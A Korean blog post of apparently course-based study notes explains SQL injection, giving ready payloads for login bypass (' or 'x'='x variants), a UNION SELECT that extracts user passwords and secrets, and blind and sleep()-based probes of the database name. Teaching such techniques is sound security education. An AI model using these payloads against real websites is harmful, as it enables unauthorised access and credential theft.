SQL Injection 이란?
- SQL Query를 처리하는 과정에서 예상치 못한 입력 값에 의해 DBMS 정보 노출, 특정 명령어 실행 등이 발생하는 취약점
- 공격자는 정상적인 값 대신 자신이 원하는 값을 웹에 요청하고, 웹은 데이터베이스에 요청을 한 뒤 결과 값이 웹을 통해 노출되거나 유추할 수 있는 형태로 출력됨
-> 웹서버에서 입력값 검증을 제대로 하지 않아서 일어나는 취약점
SQL Injectoin을 이용한 인증 우회
- 인증 처리 프로세스에서 '참' 값을 만들어주면서 정상적인 계정 정보 입력을 우회하게 됨
쿼리 질의문 예
Select * from members where id=admin and pass=1234
원래 위와 같은 형태인데, 아래와 같이 '참'으로 만들어서 우회
Select * from members where id=admin'or 1=1# and pass='or 1=1#
여러 가지 문법에 따라 다음과 같이 사용할 수도 있다.
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x
Error Based SQLi 을 이용한 데이터베이스 정보 획득
- 웹을 통해서 데이터베이스의 원하는 값을 하나씩 가져와 중요정보 획득
0' UNION SELECT ALL 1,concat(id,login,password),3,4,concat(email,secret),6,7 from users#
Blind SQLi 을 이용한 데이터베이스 정보 추측 및 획득
- 웹에서 데이터베이스의 에러 정보가 노출되지 않기 때문에 "참"과 "거짓"으로 정보 추측, 획득
' or 1=1 and length(database())=5#
Time Based SQLi 을 이용한 데이터베이스 정보 추측 및 획득
- sleep() 함수를 이용하여 데이터베이스 스레드 동작 정지 여부를 보고 판단
' or 1=1 and sleep(5)#
' or 1=1 and length(database())=5 and sleep(5)#
' or 1=1 and substring(database(),1,1)='b' and sleep(5)#
자료 출처
중앙대학교 산업보안학과 조정원 교수님 자료
'Hacking > Webhacking' 카테고리의 다른 글
[Webhacking] Blind SQL Injection 실습 (0) | 2021.04.11 |
---|---|
[Webhacking] Error Based SQL Injection 실습 (0) | 2021.04.10 |
[Webhacking] 자동 분석 도구 공격 (0) | 2021.04.02 |
[Webhacking] Nmap (0) | 2021.03.26 |
[Webhacking] wireshark (0) | 2021.03.26 |